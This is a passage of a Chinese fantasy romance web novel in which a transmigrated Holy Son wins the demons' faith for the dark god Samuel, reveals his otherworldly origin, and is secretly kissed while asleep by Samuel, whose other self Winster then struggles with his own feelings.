将人彻底哄好之后,艾尔一放松,没忍住跟旁边人吐槽两句:“真不公平,为什么那几个魔族都对我起兴趣,深渊种族不都该慕强嘛,该看上你才对。” 若是这样,他就能看热闹了,可惜…… 塞缪尔一点不觉得奇怪,像小崽子这种风格的人,在深渊中格格不入,哪怕一个背影都能吸引到众多目光。 “明亮又纯净的东西对深渊生灵而言很有吸引力。” 艾尔闻言睁大了眼,八卦道:“咦?那你和光明神……” 本来想八卦一下他俩是不是相爱相杀,很快又在塞缪尔几欲宰人的眼神中讪讪闭嘴。 —— 艾尔被神明大人训练了好一阵的剑术才被放走,留塞缪尔一人和炼金傀儡对打,他去拿采摘回来的食材去研究新菜式了。 作为一个经验丰富的厨师,小半日时间他便做出十多道新菜了。 留了一些给塞缪尔和小龙崽,剩下的他便请仍然在河对岸搓麻将的魔族们吃了,贴心送饭当然不是因为他热情友善,这次来和他们打交道,青年仍旧抱有目的。 再次用食物吊足了魔族们的胃口,然后顺理成章的让他们找人去收集更多食材,艾尔特意强调了要保护植株的完整性! 希望这些深渊的植物能在凡界成功种植,不然就白费功夫了。 这次没看到安妮塔的身影,显然是怕了脾气不好的某神,远离逃难去了,艾尔也不在意。 顺带教了魔族怎么下棋,对局闲聊过程中打探了一下深渊未来的打算。 厄休拉在一旁装得可怜兮兮,“我们只想要自由而已,想看一看上面的世界。” 汉克,两米高的肌肉大恶魔,此时一张悍匪脸露出格外向往的神情:“殿下教给我们的东西真是太有意思了!我不敢想象外界有多有趣。” “对!我们过够了日复一日的生活,还不如那些弱小的人族活的自在!” “真想看看人族那边还有什么好玩儿的。” 艾尔信他们个鬼,真把封印解开了,魔族第一件事绝对是大闹光明教廷。 其实深渊、凡界、神域都是差不多的大小,他敢肯定,即便眼前这些长寿种已经活了上千年,也没有走遍深渊,活动范围如此宽广,哪里谈得上被限制了自由,魔族们就是不服光明阵营发展如日中天,想出去搞事找乐子。 艾尔不接封印的话茬儿,语气淡淡:“凡界也没什么意思,人鱼精灵还有其他种族都固守一方,多数人族都在种地做工维持温饱,和你们一样,过得平静又普通,哦…对了,深渊至少没有一个教廷来忽悠你们。” 血族站在两米外,悄悄闻了一下这个纯洁神使的味道,獠牙撕咬了一块对方给的肉脯解馋,“是吗?这么多好东西,人族的生活不该很快乐吗?” “只是这几年才出现的……”青年顿了一下,忽然笑问道:“你们知道这些东西都源自于哪里吗?” “不是人族吗?他们大多弱小,但挺会动脑子的。” 血族嘴里的肉脯都不香了,“殿下不会要告诉我们,是光明教廷搞出来的好东西?” 艾尔转着手中的棋子,垂眸看着有一会儿没动静的棋盘,“不,是黑暗神大人启迪了我等信徒。” “你说什么??!” 青年落下手中棋子,“如今,吾神的信徒已经在凡界掌握了大量财富,发展了众多耳目以收集消息,在所有势力,包括教廷,都有我们的人,再过不久,我们就要计划削弱光明神的信仰了。” 刚才还告诉魔族至少深渊没有教廷忽悠他们,转眼自己这个光明圣子就开始胡说八道了,艾尔都不好意思抬头,担心被谁看出他心虚了。 每次提到深渊的主人,至高无上的黑暗之神,魔族们的注意力马上就会集中过去,比如此刻,周围几桌打牌搓麻将的已经快步围了过来。 “你、你说的是真的?” 青年睨了质疑者一眼,“我身为光明圣子,有众多仆人伺候,怎么会如此擅长做饭?这当然都是吾神教导有方。” “食谱,还有你们现在玩乐的东西,都是我们在吾神的授意下传播出去的。” 青年语调不疾不缓,沉稳平淡,也正是这样,才显得格外可靠,加上身上诸多信仰之力增添的buff,他说的话更容易让人信服了。 魔族闻言倒吸一口凉气——他们的深渊之主居然有这般的大智慧! 瞧啊,吾神不单掌控黑暗,练就了至强的剑术,居然还创造出了这么多让人感到幸福的东西!跟那些只擅长神格代表力量的神明完全不一样! 一想到喜爱的东西是他们的主创造出来的,这群沉迷于吃喝玩乐的魔族就倍感荣幸。 黑河的另一边,正拿着剑快速移动对抗傀儡的塞缪尔突然看见几十枚信仰飘了过来,落在了祂身上。 不需要多思考,看信仰来的方向,多半是小崽子干的好事。 神明大人笑了一下,继续专注于练剑,等小崽子回来再问吧。 —— 艾尔见成功忽悠出了魔族的信仰之力,在心中满意点头。 他在魔族眼中是弱者,还是被轻视的人族,可以因为神使的身份被友好相待,被当成同阵营的同伴,但永远不要想得到魔族极致的崇拜和全心的信任,所以他跟魔族打交道的时候从没想过收服他们。 但塞缪尔在魔族心里有很大的威望,他刚才只是突发奇想,随口忽悠了几句,没想到这么轻松便使他们的崇拜情绪变得汹涌澎湃,直接凝出了信仰。 有几位法神境阶的魔族看见了光点向神殿的方向飘去,惊得恍恍惚惚!这、这不就说明了吾神本尊,或者有一道神念就在那里吗?!! 他们看向在场唯一跟神明有联系的人类,准备求证,却见银发青年眼神幽幽,食指抵唇,示意保密。 魔族大佬立即点头,懂了懂了,他们会安静,会远离神殿,呜——吾神果然如传说中的那样,讨厌别人去烦祂。 找到了帮忙采集食材的劳动力,收割了一波信仰,同时也跟魔族们的关系更亲近了一点,对深渊的局势更了解了,本次社交任务超标完成,他可真棒啊~ 艾尔心满意足地返回神殿,今天体力活和脑力活都干了,去睡个觉放松一下精神好了。 远远地注意到塞缪尔还在练剑,感叹了一下某神的武痴程度,艾尔悄咪咪地进入殿内,泡个热水澡,舒服地躺下了——不用跟别人挤一张床的感觉真让人怀念啊。 “你在高兴什么?” 艾尔嘴角隐隐勾起的笑容一僵,睁眼,便见塞缪尔正居高临下地看着他。 祂什么时候进来的……艾尔暗自吐槽了一句这位神跟鬼一样吓人。 心里的想法完全没有表现出来,青年眨巴着漂亮的双眼,“就是突然觉得睡觉是很幸福的事情。” 塞缪尔抽了抽嘴角,懒得评价这没出息的言论了,“那些信仰之力是怎么忽悠来的?” 艾尔心头一哽,别说,这家伙还挺了解他。 塞缪尔慵懒地靠着床头的雕花床柱,听小崽子三言两语讲完了过程。 艾尔弯着眉眼,许是跟塞缪尔太熟稔了,难得透露出几分得意的心情,“我是不是很聪明?” 塞缪尔看着他笑,也被传染了一点好心情,闷笑一声,然后缓缓问道:“好吧,聪明的小骗子,我有点好奇……你那些有意思的玩意儿,究竟是来自哪里呢?” 致命提问来的猝不及防,艾尔心虚地往被子里缩了几分,掩住口鼻,只露出一双‘疑惑’的眼睛,“不是你亲眼看着我做出来的吗?” 塞缪尔伸手抚着小崽子的脑袋,从未笑得如此温柔,“你是不是一直都觉得,我很好哄骗?” 第086章 第 86 章 塞缪尔这话说的就让艾尔不服了, 哄倒是经常哄,谁让塞缪尔性格阴晴不定的,骗……不至于, 最多是隐瞒一下来历,而且这是他的私事, 扪心自问, 他没有做过任何对塞缪尔不利的事情, 刚刚才帮祂收集了信仰之力,没道谢就算了, 突然被这么问, 艾尔心情就不爽了。 “你觉得我经常骗你吗?”他在这家伙眼里, 究竟是什么形象啊? 见他不高兴了,塞缪尔本来倚在床柱的身体不自觉地站直, “……没有。” 随即轻轻蹙了一下眉——奇怪,明明占理的是自己,为什么祂要紧张? 塞缪尔不喜欢跟小崽子闹矛盾,吵架他会不理人, 又不能打一顿, 诞生这么多年,还是头一回遇到让祂感到棘手的存在。 俊美的神明无奈扶额,“行了, 我不问了, 你睡觉吧。” 艾尔见祂又往外走, “你不休息吗?” “不用。”这人类壳子太脆弱了, 让塞缪尔很不爽, 至少要再升一大境阶,使用神格力量的时候才不会那么容易躯体崩溃。 艾尔肃然起敬, 明明有对法神一招击杀的本事,还是在不舍昼夜地提升自己的实力,太卷了,卷的让他感到焦虑了。 不过……转念一想,他俩是同伴,不是竞争对手,塞缪尔强大了就等于他能抱更粗的大腿啊! 思维一换,瞬间不焦虑了,反而挺有安全感的。 而且塞缪尔总是嫌弃这厌烦那的,甚至嫌弃祂自己弱,对他却很宽容,不逼他提升实力,刚才也是……就那么轻易揭过了他不想聊的事。 艾尔一向脾气好,刚才那点不愉已经消散,塞缪尔的反应又让他心软了。 “等等…”艾尔拽紧了被子,剖析自己,将内心深处的秘密完全暴露给别人是需要很大勇气的,他已经很久没有这么紧张过了…… “能说说你对我的怀疑吗?” 塞缪尔转身,停在几米外看他,“你一点都不像偏远小镇长大的人类。” 不单是创造各种奇怪新颖物品的能力,更让塞缪尔觉得违和的是小崽子的思维方式,有时候说的话……显得他像这个世界的异类。 “是和我一样,带着记忆的转世神明吗?” 祂漫长的记忆中没有任何跟小崽子性格相似的神,而且祂不太相信别的神明有办法做到祂这一步,但祂也想不出其它可能,或许是哪个不爱四下走动、鲜为人知的低调小神? 艾尔挪动了下身体,让出一大片位置,然后拍了拍床铺示意对方过来,“你等会儿一定会有很多问题,坐吧。” 疑惑多年的问题终于要被解开了,塞缪尔却不急着追问,比起答案,更让祂心情愉悦的是,小崽子全心信任祂的表现…… 学着对方的模样躺了下来,放松着紧绷了几日的身体,塞缪尔偏头看着离祂不足一米的漂亮青年,两两对视,安静到能听见彼此细微的呼吸声。 “你…相信其它世界的存在吗?” 塞缪尔眉梢一挑,豁然开朗。 原来如此……即便属于同一个世界,这里各个种族的喜好和性格有很大差异,但,弱者麻木愚昧,强者追求实力,已经很久没有变革或者新颖的事物出现了,这是所有种族的共同点。 这个世界的发展停滞不前,所有的一切在塞缪尔眼中都是灰蒙蒙的,只有祂身边的这个人类……他是明亮的蓝宝石。 如果艾尔是在跟凡界的朋友或者同学提起另一个世界,他们会认为他指的是神域和深渊,眼界限制了他们的想象力。 但对于神明来说,祂们很清楚,这个世界是有尽头的,那世界之外是什么样的呢? 每个神明都想去看看,可惜,祂们都被困在了这方世界。 此刻青年告诉祂,世界之外是另一个新世界,塞缪尔轻而易举地接受了。 “所以,你是怎么来到这边的?”创世父神都无法穿过的界线,这个弱小的人类,是怎么做到的? 艾尔的回答相当简单:“就……我死了,然后一睁眼就换世界了。” 本以为能听到一个更强大的世界使用某种费力的办法送一个人过来的塞缪尔:“……” 祂沉默了一瞬,继而问道:“怎么死的?” 打架输了?塞缪尔眸光一沉,不知道未来有没有机会带小崽子回去报仇。 艾尔的声音细若蚊吟,尴尬地回答:“一个晚上没睡觉,就…就突然死了。” “…………” 塞缪尔这次沉默的时间更长了,这种死法在祂看来很是不可思议。 虽然祂当人的时间不长,但也知道人类没那么脆弱,除非…… “你那个时候年龄很大了?”只有老龄的人类才说死就死。 青年眼神木然:“没,跟现在差不多。” 他也不明白头一回通宵怎么就这么倒霉,哦…也不能这么说,能穿越到这么有意思的世界,也挺幸运的。 他的回答刷新了塞缪尔对“弱”的认知,同时神明大人决定日后再也不嘲讽小崽子贪吃贪睡了——死得莫名其妙,重生得莫名其妙,一个不能以常理判断的人类,万一哪天就饿死累死了呢?尽管他有着剑师的好体力和光系的治愈术…… 塞缪尔还在无语中,某人为了转移话题,主动讲了他的世界是什么模样,从进化论到现代科技,从丰富的娱乐产业到法律和道德观,他用简洁的语言给塞缪尔描绘出一个全新的世界。 等艾尔说的差不多后,神明大人才仔细询问祂感兴趣的点。 闲聊了大概两小时,塞缪尔双臂枕在脑后,看着虚空,毫无波澜地评价道:“我们这些神邸就像恐龙一样,阻碍了其它事物的发展,世界意志便会引导我们的灭亡。” “即便亚希伯恩再怎么不甘,人类终将会掌控世界,不过是因为祂的干涉延后些时间罢了。” 艾尔挺认同祂的话,他反感光明教廷最主要的原因,并非因为他被半逼着进入教廷打工,也非众多主教牧师的虚伪贪婪,而是他认为对神的宣扬和痴迷严重影响了人类文明进程。 无天赋者占据人类的绝大多数,若是每次遇到困难,他们就一昧寻求法师和神明的帮助,而不是去思考去实践,怎么进步?发现知识,传递知识,才是人类强大的根本。 艾尔笑着:“你还挺看得开。”像塞缪尔这样追求实力的存在,看不起弱小的生灵也很正常,但祂对强者被弱者取代这件事很平和,思想不走极端,有包容心,能与之讲理,偶尔发点小脾气也无伤大雅。 (被塞缪尔胖揍过的诸神:呸!) 塞缪尔无所谓地勾了勾唇,祂才不在乎什么种族强弱之争,祂只关心自己活的高不高兴。 扭头看着银发青年的侧脸,纤长浓密的睫毛在这个角度格外显眼,颤动的模样像极了蝶翼,扑闪的祂心里痒痒。 塞缪尔向来无所顾忌,径直伸手蒙上了小崽子的双眸,心里某种说不清道不明的冲动才算缓解了。 但是祂手掌宽大,青年脸又小,顺带把人鼻子也捂住了,艾尔第一反应是这个喜怒无常的家伙想谋杀他! 将那只手扯下来,艾尔皱眉瞪祂,“你干什么?” 被瞪了也不影响塞缪尔愉悦的心情,祂刚刚意识到,小崽子出现在这里,是一件多么奇迹的事情,辽阔地域、茫茫人海中,祂能遇见这个奇迹,幸运到就像整个世界都在祝福祂。 我的…… 我在满世界尘埃中发现的璀璨宝石…… 神明注视着青年的眸色渐深,好不容易遇见一个合心意的生命,塞缪尔不想看到小崽子哪天没注意人就没了,所以甚至想再喂他喝一次缩小魔药,将他变成巴掌大,好随身携带。 艾尔被祂盯得有点发毛,总觉得这家伙眼神有点危险,他警惕地挪远了一点,“你看什么看?” 塞缪尔看他像只炸毛小兽,被可爱到了,轻笑了一声。啧,现在祂能理解温斯特看到缩小后的哥哥是什么感受了。 神明大人坐起身,给青年掖了下被子,“睡吧。” 艾尔见祂神情称得上温柔,更觉毛骨悚然,脑子里只有一个想法——这家伙鬼上身了吗?! 随即又听到:“睡不好,当心又死一次。” “……” 嘲讽,这一定是嘲讽:) 艾尔不知道,塞缪尔这次是真的关心他的身体,可惜神明大人说话总是硬邦邦的,很难听出来这是软话。 想反驳几句,但刚才说了那么多话,他确实有点累了,不想再开口,便顺着塞缪尔的话闭上了眼睛。 塞缪尔现在看小崽子格外舒心,本能的不想离他太远,便打算留在他身边睡一会儿。 奈何闭眼好一会儿也没有睡着,情绪都不像以往那么平静,有一种说不清道不明的躁动始终挥之不去,塞缪尔略有些烦躁地睁开眼,偏头看着身边人的侧颜。 或许是转移了注意力,那股烦躁消散了许多。 片刻之后,塞缪尔半起身凑到小崽子旁边,单手支着头看他。沉睡中的艾尔比睁眼时要柔和无害很多,看的塞缪尔恶劣心起,有种想揉搓他柔软脸颊的冲动——但是这样吵醒他,小崽子一定会当场离殿出走。 祂撩起一缕银发,将发梢轻轻扫过艾尔的脸颊,惹得人家轻轻皱眉,然后躲避地翻了个身,正好面向了祂的方向,再凑近点儿都要进塞缪尔怀里了。 如果此时艾尔醒着看见祂这番操作,一定会评价一句:幼稚。 如今的塞缪尔即便长得高再结实,性格再霸道冷漠,这具身体也是刚过十八岁,年轻着呢,所以艾尔经常觉得这家伙像又野又幼稚的男大体育生。 昏暗的光线一点也不影响塞缪尔的视线,祂将艾尔放在枕头上,挡住他半张脸的手拿开,动作大概两辈子都没这么轻过。 啧,被碰到了都不醒,若是放他一个人满世界乱跑,深夜被人偷袭了都反应不过来。 果然还是要一直放在眼皮子底下。 沉睡的人类如一副画卷,面容精致俊美,流银的长发如月光,任何有基本审美的生灵都会乐于多欣赏一会儿的。 塞缪尔的视线落到了画卷中颜色最引人注目的那部分,那张淡红色的唇。 脑中闪过在白月花林中,那个该死的魅魔亲吻这张脸的画面……塞缪尔神色一暗,眼中的凌厉杀气一闪而过。 祂既不满女性魅魔,也不满假扮艾尔的男性魅魔——肮脏的,丑陋的灵魂,居然妄图玷污祂的所有物,这种风气若不制止,很快就会风靡整个深渊。 塞缪尔注视着白皙无害的面庞,心想,小崽子还是太单纯了,根本想不到心软的后果,没关系……祂会处理好这件事的。 啧,塞缪尔食指虚虚地点了一下青年的额间,没有祂在身边庇护着,迟早会因为太善良被欺负死。 话说回来,肉.体纠缠究竟有什么值得快乐的? 如果说兽类、人类是被繁衍的本能支配,魔族有征服欲作祟,神明痴迷于这种事是为了什么?打发时间吗? 曾经四处游走寻找美景险地的时候,塞缪尔不止一次看到有神明带着情人野合,很多长寿种不像人族那般规矩多,被教导出了羞耻心,只要身边没有其它存在打扰,祂们不拘于地方。 神明喜欢带着情人去有趣的地方彰显浪漫,以博一笑,这也导致塞缪尔漫长的生命中撞上了好几次另祂厌烦的画面。 祂也不是故意凑近看的,奈何神躯的目力太好,塞缪尔飞在上空的时候,下方的一切都清晰可见…… 尤其是钟爱美人的水神莫拉格,每次见到那家伙,身上始终有一种驳杂的气息,塞缪尔总觉得祂很脏,所以从不跟水神约战。 祂们不觉得沾染上别人的汗水,还有唾液交缠很恶心吗? 此时,塞缪尔盯着那张线条优美的唇,眼中有疑惑闪过,真的会让人心情愉悦吗…… 眼前的青年是祂唯一不反感身体接触的存在,刚才某种害祂无法入睡的躁动又回来了,被塞缪尔当作探索未知的好奇心,祂低头,缓缓接近了银发青年。 因为艾尔此时是侧着脸睡的,神明大人只能触碰到他的唇角…… 温热的,柔软的,因为离得近,祂能嗅到银色发丝上的精油散发着浅淡的花香味,呼吸的空气都带着青年身体散发出的一点热意。 片刻,塞缪尔抬起头,离开了沉睡青年的唇。 喜欢吗? 祂说不清楚,反正不讨厌,也没有感受到别人接吻时表现出的欢愉,反而更心浮气躁了…… 几缕黑发扫过青年的面庞,艾尔轻轻翻身躲了一下,刚好正脸向上了。 塞缪尔没有犹豫,再次低下了头,这一次,两唇完完整整的相贴。 只是简单贴着,没有深入,塞缪尔甚至不明白祂为什么不自觉地屏息了,明明祂内心充满了想入侵的冲动…… 冲动无法消解,最终蔓延全身,塞缪尔感到了燥热。 下半身的麻烦又来了……祂坐起身,烦躁地呼出一口气。 塞缪尔在决定转世成人类的时候,旁观过底层人的百态,做好了当个弱者艰难求生的思想准备,祂无所谓任何苦难,但祂没想到人类还有生理本能这种麻烦事情! 无论是祂还是温斯特掌控身体,都未曾想过□□的事情,但自从到了某个年龄段,下半身就经常脱离大脑控制……祂很讨厌这种无法根除的麻烦。 这次的感觉比以往更强烈,让祂想破坏什么东西,或者……想紧紧抱住什么。 深深地看了一眼睡得一无所觉的小崽子,塞缪尔下了床走出房间,选择了前者。 唔,同住的这段时间,祂没见过小崽子有特殊反应,身体这么冷淡吗? 不知道他好不好奇接吻啊□□啊是什么感觉,反正祂现在有点想知道了,或许他俩可以一起实践感受一下。 这厢,艾尔完全不知道他心里幼稚中二的某神在打什么歪主意。他消耗了一天的精力,又在安全的地方歇息,睡得非常香沉。 一夜无梦,艾尔醒来的时候,发现床上又只有他一人了。 揉了揉朦胧的眼睛,再伸个懒腰,第无数次感叹塞缪尔的刻苦,闻鸡起舞算什么,这位是每时每秒都想练剑呢! 去围观了一会儿,咦…塞缪尔今天打的好凶啊,精力可真好。 艾尔也不疏于练习,他始终告诫着自己不能当一个脆皮法师,所以当即便找了另一个傀儡进行训练。 大概两刻钟之后,不远处,塞缪尔叫停了巨人傀儡,站在它的肩上看着小崽子一次又一次避开傀儡快速的攻击,因为他身形纤长,动作灵活,所以看起来像是在跳舞。 死神的镰刀一直紧跟在身后,艾尔的精神高度紧绷,很容易感到疲惫,他果然还是更喜欢魔法这种坐着就可以进步的攻击方式啊。 叫停傀儡后,艾尔拿手帕抹了一把脸上的汗,朝似乎在旁边等他的塞缪尔走去,赞叹道:“不愧是神级傀儡,到底是什么材料做的啊,我连一道划痕都没给它留下。” 若不是塞缪尔给傀儡下了命令不能伤他,估计他早就被重剑砍成两半了。 但是塞缪尔并没有对祂自己留情,总是让傀儡将祂逼到极限。 注意到这边的傀儡身上有多道细白剑痕,艾尔不由夸赞道:“还是你厉害。” 青年微微喘气,漂亮的双眸含笑看着祂,白皙的脸颊染上一抹浅淡的粉色,唇也更红了,整个人充满了精气神,像是会发光。 塞缪尔注视着他,瞬间回想起先前的打算。 “你还记得那两个魅魔在树林里做的事吗?” 艾尔不知道祂怎么突然提起这个,随意嗯了一声。 “接吻,还有□□是什么感觉?你不好奇吗?” “啊??”什么什么感觉?!艾尔惊疑地看着一脸平静的神明大人。 两人对视着,沉默,沉默在蔓延…… 在漫长的几个呼吸过后,艾尔终于打破沉默,冷静道:“我不好奇。” 这完全不像塞缪尔会感兴趣的事,所以他刚刚才会有点不可置信。 但艾尔也能理解,对未知的东西产生探索欲,是很正常的事,而且上辈子也有朋友跟他提起过关于这方面的话题,艾尔很快便恢复了平常心。 塞缪尔对小崽子的回答不大满意,但这也不耽误祂表达自己的心思,“我没经历过,你可以……” 青年稍微仰着头,澄澈的双眸注视着祂,在很认真地听祂说话,显得又乖又纯洁,塞缪尔不知为何突然说不下去了,心脏开始不规律地跳动…… 神明大人从未体会过紧张的情绪,这对祂来说太陌生了,祂疑惑地抬手抚上自己的心口…… 艾尔看祂蹙着眉,还捂着胸口,“怎么了?刚才受伤了吗?” 他将塞缪尔的手扒拉下来,甚至开始解开上衣就要检查,没看见流血,是受了内伤吗? 塞缪尔的上身隐约触碰到那温热柔软的指尖,一阵酥麻感让心脏跳的更快了。 祂拦下青年的手,“没受伤,就是心跳突然加快了。” 什么?心跳…… 艾尔紧张询问:“是不是呼吸也不太顺畅?” 塞缪尔点点头,是有点儿,小崽子怎么知道? 青年猛然睁大了双眸,当即便给祂刷了个治愈术,然后拉着塞缪尔往寝殿里跑,“快去睡觉!再不睡你就要猝死了!!!” 塞缪尔稀里糊涂的被推上床,塞进被子里,“你在胡说什么?” 艾尔在床边叉着腰,看起来有点凶,“你是不是进了深渊后根本没睡过觉?!” 塞缪尔皱了下眉,还是第一次有人用这种态度跟祂说话,小崽子真是恃宠而骄了…… “睡过一次。”就是温斯特接替祂的那一次。 “人类必须要保证充足的睡眠,否则会猝死的,你还没有进阶到淬体阶段,居然敢这么折腾身体!” 进阶到淬体剑师后,人类的体魄和五感才会有质的飞跃,接连几个月处于战斗中都没问题。 可塞缪尔才刚成为大剑师…其实大剑师短时间内不吃不喝是没问题的,但艾尔怀疑是不是祂神魂伤势未愈,以及高强度修炼的问题,几日不眠雪上加霜,让塞缪尔比较虚弱…… 神明大人狐疑地看他,“猝死?”祂会猝死?小崽子那种丢脸的死法? 呵,可笑! 艾尔严肃看祂:“猝死前什么感觉,我还能不知道嘛?相信我,我是过来人!” 塞缪尔:“……” 塞缪尔没话说了。 毕竟祂当人没多少经验,确实不了解人类的身体能脆弱到什么地步,小崽子又是一副信誓旦旦的样子…… 塞缪尔憋屈地躺下了身,然后闭眼,睡觉。 艾尔守了祂一会儿,见祂面容放松,呼吸均匀,才放心地离开寝殿。 —— 不知道过了多久,床上的黑发青年终于睁开了眼。 温斯特迅速地回忆完这具身体这两日的经历,表情变幻莫测…… 他猛地坐起身,双手捂脸——塞缪尔,你这个白痴!!! 第087章 第 87 章 这具身体本就与塞缪尔庞大的精神力不适配, 每次出来祂都不太舒服,所以以前很少出现。 但自从和哥哥相逢之后,那家伙便经常出来, 但每次都会寻个理由自欺欺人,就是不会承认祂只是单纯的对哥哥感兴趣。 最近更过分了, 几乎霸占了身体的使用权!似乎是灵魂太疲惫了, 塞缪尔睡着睡着, 便陷入了往日的那种沉眠,温斯特终于接管了身体。 塞缪尔的记忆飞速闪过, 最后停留在温斯特脑海中的, 是‘他’亲吻着哥哥的那一刻…… 黑发青年一动不动地坐在床上, 那张冷漠野性的脸难得显得呆傻。 塞缪尔的思维是神性为主导,即便在高高在上的神明之中, 也属于少有的没有感情经验那一类,情商也低的要命。 温斯特不一样,虽然他如今当神的记忆比当人的记忆更多,但亲身体验过人情冷暖, 见识过不少爱恨情仇, 他对感情比塞缪尔敏感得多,也就能察觉出那家伙对哥哥的欲.望中,喜欢和本能的亲近, 远远多于祂以为的好奇。 温斯特五指穿过头顶, 将垂落的长发往后抓, 重重地呼了一口气, 指尖不受控的轻微颤抖着。 怎么办……温斯特思绪混乱, 控制不住的心慌。 除了幼时担心过塞缪尔会伤害哥哥之外,他还没有如此胆怯过。 看到塞缪尔冒犯哥哥的画面, 他不只是气愤,随之而来的是极大的渴望——我也想这样亲近哥哥,想抱着他,想亲亲他,然后哥哥一如既往的对我笑,眼里都是我…… 这种渴望是源自于其他人口中的爱情吗?他不知道,但温斯特非常确定,他绝不想看见别人这样对待哥哥。 但是温斯特不像塞缪尔那么自傲,那么无所顾忌,躲躲藏藏的童年让他变得格外谨慎,对待自己唯一在乎的人,更不敢过于放肆。 虽然哥哥很宠他,但如果知道他在想什么,会不会很生气?会不会感到恶心? 一想到哥哥冷着脸疏远自己的画面,温斯特便胆怯于表达自己的心意,塞缪尔之前差点暴露让他后怕了好一会儿,忍不住低声咒骂了几句,再警告提醒了一番。 一个人对着空气自言自语属实有些诡异,但温斯特必须要强调胡来的后果,希望塞缪尔下次出来时能记清楚他说的话,不要那么任性妄为。 如果是几年前,温斯特早就向哥哥揭发了塞缪尔的流氓行径,他对所谓的曾经的自己只有忌惮,绝对不想哥哥和那家伙关系亲近。 但接收了太多前世记忆后,两个意识互相影响,已经有融合的趋势了。 温斯特有迷茫过,他是不是正在被同化成另一个人,他真的还是他自己吗…… 但随着共同记忆越多,温斯特已经察觉到,即便在他极为忌惮塞缪尔的时期,除了少了点傲慢,他和塞缪尔的三观没什么区别,在对待哥哥之外的事情上想法也几乎一致,所以他现在已经对那家伙没那么排斥了…… 唯有塞缪尔抢占和哥哥的独处时光的时候,他才尤其希望另一个自己赶紧消失。 正因为潜意识里已经接受了塞缪尔,知道他俩是一损俱损的一体,温斯特只能向哥哥瞒下塞缪尔的冒犯行为,不能挑拨离间,还要教导那没脑子的家伙怎么跟哥哥相处。 冷静下来后,温斯特才迫不及待地出门找哥哥。 黑发青年出了寝殿就唤了一声“哥哥”,没有得到回应,便去室外找。 他又唤了一声,声音不大不小,仍未得到回应,四下乱走了一会儿也没见着人。 偌大的神殿非常安静,连一声虫鸣鸟叫都没有,温斯特心里空荡荡的。 难道又去找那群魔族玩了吗?不知道哥哥什么时候回来。 温斯特有种自己已经和哥哥分别很久的错觉,抱着一腔期待却找不到人,此刻心理落差很大。 更让他不爽的是,他不能随意出现在魔族面前,也就不能立马过去找人。 记忆中,哥哥提醒过塞缪尔,法神境阶的魔族能看到信仰落到祂身上,如果不想暴露,不想被怀疑,最好不要出现在高等魔族面前。 塞缪尔本身很不屑,被发现了又能怎么样,他们还能逼祂做事吗? 黑暗之神不是出了名的最不爱搭理信徒的神邸嘛,深渊生灵该有这个共识才对。 然后艾尔便开始跟祂掰扯暴露的后果…… 魔族还是偶尔能出去几个人的,按照他们嚣张的性子,哪天在凡界四处宣扬“黑暗之神回归”也不是没有可能,然后光明教廷一定会加大搜查力度,说不定会唤醒光明神想办法找到祂,然后就没清净日子过了…… 塞缪尔不想天天有小虫子飞过来嗡嗡叫,所以还是将银发青年的话听进去了,反正祂也没有跟魔族交流的兴趣。 而温斯特也不想赌和哥哥的平静生活会不会被破坏,歇了去黑河对岸找人的心思。 漫无目的地走着,不知不觉就到了花园的位置,这里可以说是最不受神殿主人重视的地方,路边只开了一种深紫色的娇艳毒花,中间有一个圆顶凉亭,里面有一套石桌凳。 温斯特只是穿过这里去温泉池,他不认为哥哥会在花园里面,毕竟一个人呆在这种地方着实无趣,景色也没什么好看的。 但当他快接近凉亭,隐约听到一点声音,温斯特无精打采的双眸顿时一亮,寻着声跑了过去。 “哥哥!” —— 艾尔在确定塞缪尔入睡之后,又跑去找魔族那边交流感情了…咳,好吧,其实是去检查免费劳动力帮他采摘了多少新食材的幼苗和种子。 惊喜的是,可能是上次的忽悠让魔族的法神意识到他们的神真的回归了,就在神殿中,而两位神使离吾神如此近,可见他们有多受宠。 这条消息迅速被法神们传散开来,所以这次过去的时候,艾尔就收到了一大堆的宝贝,最上等罕见的是他们献给神明的心意,稍微次一点的是给两位神使的礼物。 说次一点,也是跟魔族活了这么久收藏的最珍贵的宝物相比,其实艾尔拿到的礼物都有能进拍卖行当压轴物拍出天价的价值。 刚开始青年还不愿意收,本来就是抱着目的跟魔族打交道,再拿这么多宝物他肯定心虚啊。 可魔族想对黑暗之神献殷勤的热情实在抵挡不住,艾尔只能……收了。 再一想,他只是在交流中撒了点小谎,但这几日也给魔族带来了很多改变和快乐,最重要的是,他和塞缪尔的身份没作假啊,礼物是献给神明和神使的,他俩就是啊! 找到重点,艾尔的目光不游移了,堂堂正正、理直气壮的继续跟魔族·新免费劳动力们交流感情。 半日之后,艾尔回到神殿,估计塞缪尔确实太疲惫了,仍然睡得死沉,跟他离开之前相比,姿势都没换一个。 神殿安静到能听见自己的呼吸声,在寝殿门口站了一会儿,他一个人还真不知道要去做什么打发时间…… 想到塞缪尔曾经独自在这个空旷安静又无聊的地方住了很久,偏偏祂又不喜欢和其他人打交道,这得多致郁啊…啧,难怪刚认识的时候感觉祂有点厌世倾向。 艾尔犹豫着要不要去练剑… 啊,对了,先前魔族送的礼物中有不少手札,这种东西在深渊没有价值,纯粹是艾尔在之前的闲聊中提到如今的凡界通用语吟咒威力不够大,流传下来的古语手札也少,魔族就凑了一箱古书当添头了。 说起语言,深渊仍然在使用古语,让艾尔不禁感叹,人类,果然用什么东西都更新换代的快啊。 幸好他古语流利,一开始就在用古语跟魔族交流,他也思考过,若是很久以后,封印真的解开了,深渊和凡界在语言都不通的情况下隔阂会更大,一次次的矛盾可能会演变成战争。 艾尔想着自己在杞人忧天,但……还是暗暗决定将雷蒙,他亲爱的骑士留在老家教导通用语,尽可能的消除两界隔阂,请封他为和平使者! (雷蒙:封个鬼!他妈的辛苦做事的不是我吗??!) 那些古老手札,有不少都是深渊被封印之前,魔族从凡界搜罗来的东西,能保存到现在,多亏了空间戒指的存在。 魔族也不一定是对这些有兴趣,更多的是当成战利品,换了一手又一手,他们还费了点时间清理自己的藏品,才翻出这些可能会让神使感兴趣的东西。 艾尔踏出了颜色冰冷沉闷的建筑,走到花园的小凉亭,将收到的礼物“哗啦”一下从戒指倒在了石桌上。 高品质的魔兽核、武器、魔植、稀有矿石什么的他没兴趣,已经在神殿宝库里看麻木了。 艾尔翻看箱子里的手札,有游记,有观察感想,更多的是魔法师的笔记,包括了对元素的研究和古咒语,青年翻遍了箱子,发现各系魔法都有记录,放在奥瑞利安学院的藏书塔,绝对能进最顶层。 艾尔挑选出一本书,收好其它东西,愉悦地坐下学习了。 果然还是学魔法最轻松了,练剑好累。 —— 